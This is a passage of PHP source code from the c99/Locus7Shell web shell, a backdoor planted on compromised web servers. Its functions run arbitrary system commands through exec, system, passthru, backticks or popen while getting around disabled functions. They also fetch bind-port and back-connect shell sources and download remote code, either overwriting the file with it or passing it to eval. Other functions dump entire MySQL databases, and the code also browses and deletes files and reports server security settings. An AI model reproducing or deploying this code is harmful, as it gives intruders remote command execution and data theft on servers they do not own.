  556.   exit($accessdeniedmess);
  557.  }
  558. }
  559. if ($act != "img")
  560. {
  561. $lastdir = realpath(".");
  562. chdir($curdir);
  563. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  564. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  565. if (!is_array($sess_data)) {$sess_data = array();}
  566. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  567. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  568.  
  569. $disablefunc = @ini_get("disable_functions");
  570. if (!empty($disablefunc))
  571. {
  572.  $disablefunc = str_replace(" ","",$disablefunc);
  573.  $disablefunc = explode(",",$disablefunc);
  574. }
  575.  
  576. if (!function_exists("c99_buff_prepare"))
  577. {
  578. function c99_buff_prepare()
  579. {
  580.  global $sess_data;
  581.  global $act;
  582.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  583.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  584.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  585.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  586.  sort($sess_data["copy"]);
  587.  sort($sess_data["cut"]);
  588.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  589.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  590. }
  591. }
  592. c99_buff_prepare();
  593.  
  594. if (!function_exists("c99_sess_put"))
  595. {
  596. function c99_sess_put($data)
  597. {
  598.  global $sess_cookie;
  599.  global $sess_data;
  600.  c99_buff_prepare();
  601.  $sess_data = $data;
  602.  $data = serialize($data);
  603.  setcookie($sess_cookie,$data);
  604. }
  605. }
  606. foreach (array("sort","sql_sort") as $v)
  607. {
  608.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  609.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  610. }
  611. if ($sort_save)
  612. {
  613.  if (!empty($sort)) {setcookie("sort",$sort);}
  614.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  615. }
  616. if (!function_exists("str2mini"))
  617. {
  618. function str2mini($content,$len)
  619. {
  620.  if (strlen($content) > $len)
  621.  {
  622.   $len = ceil($len/2) - 2;
  623.   return substr($content, 0,$len)."...".substr($content,-$len);
  624.  }
  625.  else {return $content;}
  626. }
  627. }
  628. if (!function_exists("view_size"))
  629. {
  630. function view_size($size)
  631. {
  632.  if (!is_numeric($size)) {return FALSE;}
  633.  else
  634.  {
  635.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  636.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  637.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  638.   else {$size = $size . " B";}
  639.   return $size;
  640.  }
  641. }
  642. }
  643. if (!function_exists("fs_copy_dir"))
  644. {
  645. function fs_copy_dir($d,$t)
  646. {
  647.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  648.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  649.  $h = opendir($d);
  650.  while (($o = readdir($h)) !== FALSE)
  651.  {
  652.   if (($o != ".") and ($o != ".."))
  653.   {
  654.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  655.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  656.    if (!$ret) {return $ret;}
  657.   }
  658.  }
  659.  closedir($h);
  660.  return TRUE;
  661. }
  662. }
  663. if (!function_exists("fs_copy_obj"))
  664. {
  665. function fs_copy_obj($d,$t)
  666. {
  667.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  668.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  669.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  670.  if (is_dir($d))
  671.  {
  672.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  673.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  674.   return fs_copy_dir($d,$t);
  675.  }
  676.  elseif (is_file($d)) {return copy($d,$t);}
  677.  else {return FALSE;}
  678. }
  679. }
  680. if (!function_exists("fs_move_dir"))
  681. {
  682. function fs_move_dir($d,$t)
  683. {
  684.  $h = opendir($d);
  685.  if (!is_dir($t)) {mkdir($t);}
  686.  while (($o = readdir($h)) !== FALSE)
  687.  {
  688.   if (($o != ".") and ($o != ".."))
  689.   {
  690.    $ret = TRUE;
  691.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  692.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  693.    if (!$ret) {return $ret;}
  694.   }
  695.  }
  696.  closedir($h);
  697.  return TRUE;
  698. }
  699. }
  700. if (!function_exists("fs_move_obj"))
  701. {
  702. function fs_move_obj($d,$t)
  703. {
  704.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  705.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  706.  if (is_dir($d))
  707.  {
  708.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  709.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  710.   return fs_move_dir($d,$t);
  711.  }
  712.  elseif (is_file($d))
  713.  {
  714.   if(copy($d,$t)) {return unlink($d);}
  715.   else {unlink($t); return FALSE;}
  716.  }
  717.  else {return FALSE;}
  718. }
  719. }
  720. if (!function_exists("fs_rmdir"))
  721. {
  722. function fs_rmdir($d)
  723. {
  724.  $h = opendir($d);
  725.  while (($o = readdir($h)) !== FALSE)
  726.  {
  727.   if (($o != ".") and ($o != ".."))
  728.   {
  729.    if (!is_dir($d.$o)) {unlink($d.$o);}
  730.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  731.   }
  732.  }
  733.  closedir($h);
  734.  rmdir($d);
  735.  return !is_dir($d);
  736. }
  737. }
  738. if (!function_exists("fs_rmobj"))
  739. {
  740. function fs_rmobj($o)
  741. {
  742.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  743.  if (is_dir($o))
  744.  {
  745.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  746.   return fs_rmdir($o);
  747.  }
  748.  elseif (is_file($o)) {return unlink($o);}
  749.  else {return FALSE;}
  750. }
  751. }
  752. if (!function_exists("myshellexec"))
  753. {
  754. function myshellexec($cmd)
  755. {
  756.  global $disablefunc;
  757.  $result = "";
  758.  if (!empty($cmd))
  759.  {
  760.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  761.   elseif (($result = `$cmd`) !== FALSE) {}
  762.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  763.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  764.   elseif (is_resource($fp = popen($cmd,"r")))
  765.   {
  766.    $result = "";
  767.    while(!feof($fp)) {$result .= fread($fp,1024);}
  768.    pclose($fp);
  769.   }
  770.  }
  771.  return $result;
  772. }
  773. }
  774. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  775. if (!function_exists("view_perms"))
  776. {
  777. function view_perms($mode)
  778. {
  779.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  780.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  781.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  782.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  783.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  784.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  785.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  786.  else {$type = "?";}
  787.  
  788.  $owner["read"] = ($mode & 00400)?"r":"-";
  789.  $owner["write"] = ($mode & 00200)?"w":"-";
  790.  $owner["execute"] = ($mode & 00100)?"x":"-";
  791.  $group["read"] = ($mode & 00040)?"r":"-";
  792.  $group["write"] = ($mode & 00020)?"w":"-";
  793.  $group["execute"] = ($mode & 00010)?"x":"-";
  794.  $world["read"] = ($mode & 00004)?"r":"-";
  795.  $world["write"] = ($mode & 00002)? "w":"-";
  796.  $world["execute"] = ($mode & 00001)?"x":"-";
  797.  
  798.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  799.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  800.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  801.  
  802.  return $type.join("",$owner).join("",$group).join("",$world);
  803. }
  804. }
  805. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  806. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  807. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  808. if (!function_exists("parse_perms"))
  809. {
  810. function parse_perms($mode)
  811. {
  812.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  813.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  814.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  815.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  816.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  817.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  818.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  819.  else {$t = "?";}
  820.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  821.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  822.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  823.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  824. }
  825. }
  826. if (!function_exists("parsesort"))
  827. {
  828. function parsesort($sort)
  829. {
  830.  $one = intval($sort);
  831.  $second = substr($sort,-1);
  832.  if ($second != "d") {$second = "a";}
  833.  return array($one,$second);
  834. }
  835. }
  836. if (!function_exists("view_perms_color"))
  837. {
  838. function view_perms_color($o)
  839. {
  840.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  841.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  842.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  843. }
  844. }
  845. if (!function_exists("c99getsource"))
  846. {
  847. function c99getsource($fn)
  848. {
  849.  global $c99sh_sourcesurl;
  850.  $array = array(
  851.   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  852.   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  853.   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  854.   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  855.   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  856.   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  857.  );
  858.  $name = $array[$fn];
  859.  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  860.  else {return FALSE;}
  861. }
  862. }
  863. if (!function_exists("c99sh_getupdate"))
  864. {
  865. function c99sh_getupdate($update = TRUE)
  866. {
  867.  $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  868.  $data = @file_get_contents($url);
  869.  if (!$data) {return "Can't connect to update-server!";}
  870.  else
  871.  {
  872.   $data = ltrim($data);
  873.   $string = substr($data,3,ord($data{2}));
  874.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  875.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  876.   if ($data{0} == "\x99" and $data{1} == "\x03")
  877.   {
  878.    $string = explode("\x01",$string);
  879.    if ($update)
  880.    {
  881.     $confvars = array();
  882.     $sourceurl = $string[0];
  883.     $source = file_get_contents($sourceurl);
  884.     if (!$source) {return "Can't fetch update!";}
  885.     else
  886.     {
  887.      $fp = fopen(__FILE__,"w");
  888.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  889.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  890.     }
  891.    }
  892.    else {return "New version are available: ".$string[1];}
  893.   }
  894.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  895.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  896.  }
  897. }
  898. }
  899. if (!function_exists("mysql_dump"))
  900. {
  901. function mysql_dump($set)
  902. {
  903.  global $shver;
  904.  $sock = $set["sock"];
  905.  $db = $set["db"];
  906.  $print = $set["print"];
  907.  $nl2br = $set["nl2br"];
  908.  $file = $set["file"];
  909.  $add_drop = $set["add_drop"];
  910.  $tabs = $set["tabs"];
  911.  $onlytabs = $set["onlytabs"];
  912.  $ret = array();
  913.  $ret["err"] = array();
  914.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  915.  if (empty($db)) {$db = "db";}
  916.  if (empty($print)) {$print = 0;}
  917.  if (empty($nl2br)) {$nl2br = 0;}
  918.  if (empty($add_drop)) {$add_drop = TRUE;}
  919.  if (empty($file))
  920.  {
  921.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  922.  }
  923.  if (!is_array($tabs)) {$tabs = array();}
  924.  if (empty($add_drop)) {$add_drop = TRUE;}
  925.  if (sizeof($tabs) == 0)
  926.  {
  927.   // retrive tables-list
  928.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  929.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  930.  }
  931.  $out = "# Dumped by Locous7Shell.SQL v. ".$shver."
  932. # Home page: http://www.Locus7s.com
  933. #
  934. # Host settings:
  935. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  936. # Date: ".date("d.m.Y H:i:s")."
  937. # DB: \"".$db."\"
  938. #---------------------------------------------------------
  939. ";
  940.  $c = count($onlytabs);
  941.  foreach($tabs as $tab)
  942.  {
  943.   if ((in_array($tab,$onlytabs)) or (!$c))
  944.   {
  945.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  946.    // recieve query for create table structure
  947.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  948.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  949.    else
  950.    {
  951.     $row = mysql_fetch_row($res);
  952.     $out .= $row["1"].";\n\n";
  953.     // recieve table variables
  954.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  955.     if (mysql_num_rows($res) > 0)
  956.     {
  957.      while ($row = mysql_fetch_assoc($res))
  958.      {
  959.       $keys = implode("`, `", array_keys($row));
  960.       $values = array_values($row);
  961.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  962.       $values = implode("', '", $values);
  963.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  964.       $out .= $sql;
  965.      }
  966.     }
  967.    }
  968.   }
  969.  }
  970.  $out .= "#---------------------------------------------------------------------------------\n\n";
  971.  if ($file)
  972.  {
  973.   $fp = fopen($file, "w");
  974.   if (!$fp) {$ret["err"][] = 2;}
  975.   else
  976.   {
  977.    fwrite ($fp, $out);
  978.    fclose ($fp);
  979.   }
  980.  }
  981.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  982.  return $out;
  983. }
  984. }
  985. if (!function_exists("mysql_buildwhere"))
  986. {
  987. function mysql_buildwhere($array,$sep=" and",$functs=array())
  988. {
  989.  if (!is_array($array)) {$array = array();}
  990.  $result = "";
  991.  foreach($array as $k=>$v)
  992.  {
  993.   $value = "";
  994.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  995.   $value .= "'".addslashes($v)."'";
  996.   if (!empty($functs[$k])) {$value .= ")";}
  997.   $result .= "`".$k."` = ".$value.$sep;
  998.  }
  999.  $result = substr($result,0,strlen($result)-strlen($sep));
  1000.  return $result;
  1001. }
  1002. }
  1003. if (!function_exists("mysql_fetch_all"))
  1004. {
  1005. function mysql_fetch_all($query,$sock)
  1006. {
  1007.  if ($sock) {$result = mysql_query($query,$sock);}
  1008.  else {$result = mysql_query($query);}
  1009.  $array = array();
  1010.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  1011.  mysql_free_result($result);
  1012.  return $array;
  1013. }
  1014. }
  1015. if (!function_exists("mysql_smarterror"))
  1016. {
  1017. function mysql_smarterror($type,$sock)
  1018. {
  1019.  if ($sock) {$error = mysql_error($sock);}
  1020.  else {$error = mysql_error();}
  1021.  $error = htmlspecialchars($error);
  1022.  return $error;
  1023. }
  1024. }
  1025. if (!function_exists("mysql_query_form"))
  1026. {
  1027. function mysql_query_form()
  1028. {
  1029.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  1030.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1031.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1032.  if ((!$submit) or ($sql_act))
  1033.  {
  1034.   echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  1035.   if ($tbl_struct)
  1036.   {
  1037.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  1038.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  1039.    echo "</td></tr></table>";
  1040.   }
  1041.  }
  1042.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  1043. }
  1044. }
  1045. if (!function_exists("mysql_create_db"))
  1046. {
  1047. function mysql_create_db($db,$sock="")
  1048. {
  1049.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  1050.  if ($sock) {return mysql_query($sql,$sock);}
  1051.  else {return mysql_query($sql);}
  1052. }
  1053. }
  1054. if (!function_exists("mysql_query_parse"))
  1055. {
  1056. function mysql_query_parse($query)
  1057. {
  1058.  $query = trim($query);
  1059.  $arr = explode (" ",$query);
  1060.  /*array array()
  1061.  {
  1062.   "METHOD"=>array(output_type),
  1063.   "METHOD1"...
  1064.   ...
  1065.  }
  1066.  if output_type == 0, no output,
  1067.  if output_type == 1, no output if no error
  1068.  if output_type == 2, output without control-buttons
  1069.  if output_type == 3, output with control-buttons
  1070.  */
  1071.  $types = array(
  1072.   "SELECT"=>array(3,1),
  1073.   "SHOW"=>array(2,1),
  1074.   "DELETE"=>array(1),
  1075.   "DROP"=>array(1)
  1076.  );
  1077.  $result = array();
  1078.  $op = strtoupper($arr[0]);
  1079.  if (is_array($types[$op]))
  1080.  {
  1081.   $result["propertions"] = $types[$op];
  1082.   $result["query"]  = $query;
  1083.   if ($types[$op] == 2)
  1084.   {
  1085.    foreach($arr as $k=>$v)
  1086.    {
  1087.     if (strtoupper($v) == "LIMIT")
  1088.     {
  1089.      $result["limit"] = $arr[$k+1];
  1090.      $result["limit"] = explode(",",$result["limit"]);
  1091.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  1092.      unset($arr[$k],$arr[$k+1]);
  1093.     }
  1094.    }
  1095.   }
  1096.  }
  1097.  else {return FALSE;}
  1098. }
  1099. }
  1100. if (!function_exists("c99fsearch"))
  1101. {
  1102. function c99fsearch($d)
  1103. {
  1104.  global $found;
  1105.  global $found_d;
  1106.  global $found_f;
  1107.  global $search_i_f;
  1108.  global $search_i_d;
  1109.  global $a;
  1110.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1111.  $h = opendir($d);
  1112.  while (($f = readdir($h)) !== FALSE)
  1113.  {
  1114.   if($f != "." && $f != "..")
  1115.   {
  1116.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  1117.    if (is_dir($d.$f))
  1118.    {
  1119.     $search_i_d++;
  1120.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  1121.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  1122.    }
  1123.    else
  1124.    {
  1125.     $search_i_f++;
  1126.     if ($bool)
  1127.     {
  1128.      if (!empty($a["text"]))
  1129.      {
  1130.       $r = @file_get_contents($d.$f);
  1131.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  1132.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  1133.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  1134.       else {$bool = strpos(" ".$r,$a["text"],1);}
  1135.       if ($a["text_not"]) {$bool = !$bool;}
  1136.       if ($bool) {$found[] = $d.$f; $found_f++;}
  1137.      }
  1138.      else {$found[] = $d.$f; $found_f++;}
  1139.     }
  1140.    }
  1141.   }
  1142.  }
  1143.  closedir($h);
  1144. }
  1145. }
  1146. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  1147. //Sending headers
  1148. @ob_start();
  1149. @ob_implicit_flush(0);
  1150. function onphpshutdown()
  1151. {
  1152.  global $gzipencode,$ft;
  1153.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  1154.  {
  1155.   $v = @ob_get_contents();
  1156.   @ob_end_clean();
  1157.   @ob_start("ob_gzHandler");
  1158.   echo $v;
  1159.   @ob_end_flush();
  1160.  }
  1161. }
  1162. function c99shexit()
  1163. {
  1164.  onphpshutdown();
  1165.  exit;
  1166. }
  1167. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  1168. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  1169. header("Cache-Control: no-store, no-cache, must-revalidate");
  1170. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  1171. header("Pragma: no-cache");
  1172. if (empty($tmpdir))
  1173. {
  1174.  $tmpdir = ini_get("upload_tmp_dir");
  1175.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  1176. }
  1177. $tmpdir = realpath($tmpdir);
  1178. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  1179. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  1180. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  1181. else {$tmpdir_logs = realpath($tmpdir_logs);}
  1182. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  1183. {
  1184.  $safemode = TRUE;
  1185.  $hsafemode = "<font color=red>ON (secure)</font>";
  1186. }
  1187. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  1188. $v = @ini_get("open_basedir");
  1189. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  1190. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  1191. $sort = htmlspecialchars($sort);
  1192. if (empty($sort)) {$sort = $sort_default;}
  1193. $sort[1] = strtolower($sort[1]);
  1194. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  1195. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  1196. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  1197. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  1198. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  1199. @ini_set("highlight.default",$highlight_default); //#0000BB
  1200. @ini_set("highlight.html",$highlight_html); //#000000
  1201. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  1202. @ini_set("highlight.string",$highlight_string); //#DD0000
  1203. if (!is_array($actbox)) {$actbox = array();}
  1204. $dspact = $act = htmlspecialchars($act);
  1205. $disp_fullpath = $ls_arr = $notls = null;
  1206. $ud = urlencode($d);
  1207. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - Locus7Shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #009900; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #009900; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #009900; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #f89521; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #f89521; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #f89521; TEXT-DECORATION: none;}A:hover { COLOR: #f89521; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #009900; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #009900;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><center><img src="https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-frc1/1005788_157903021068852_1605620823_n.jpg"></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo 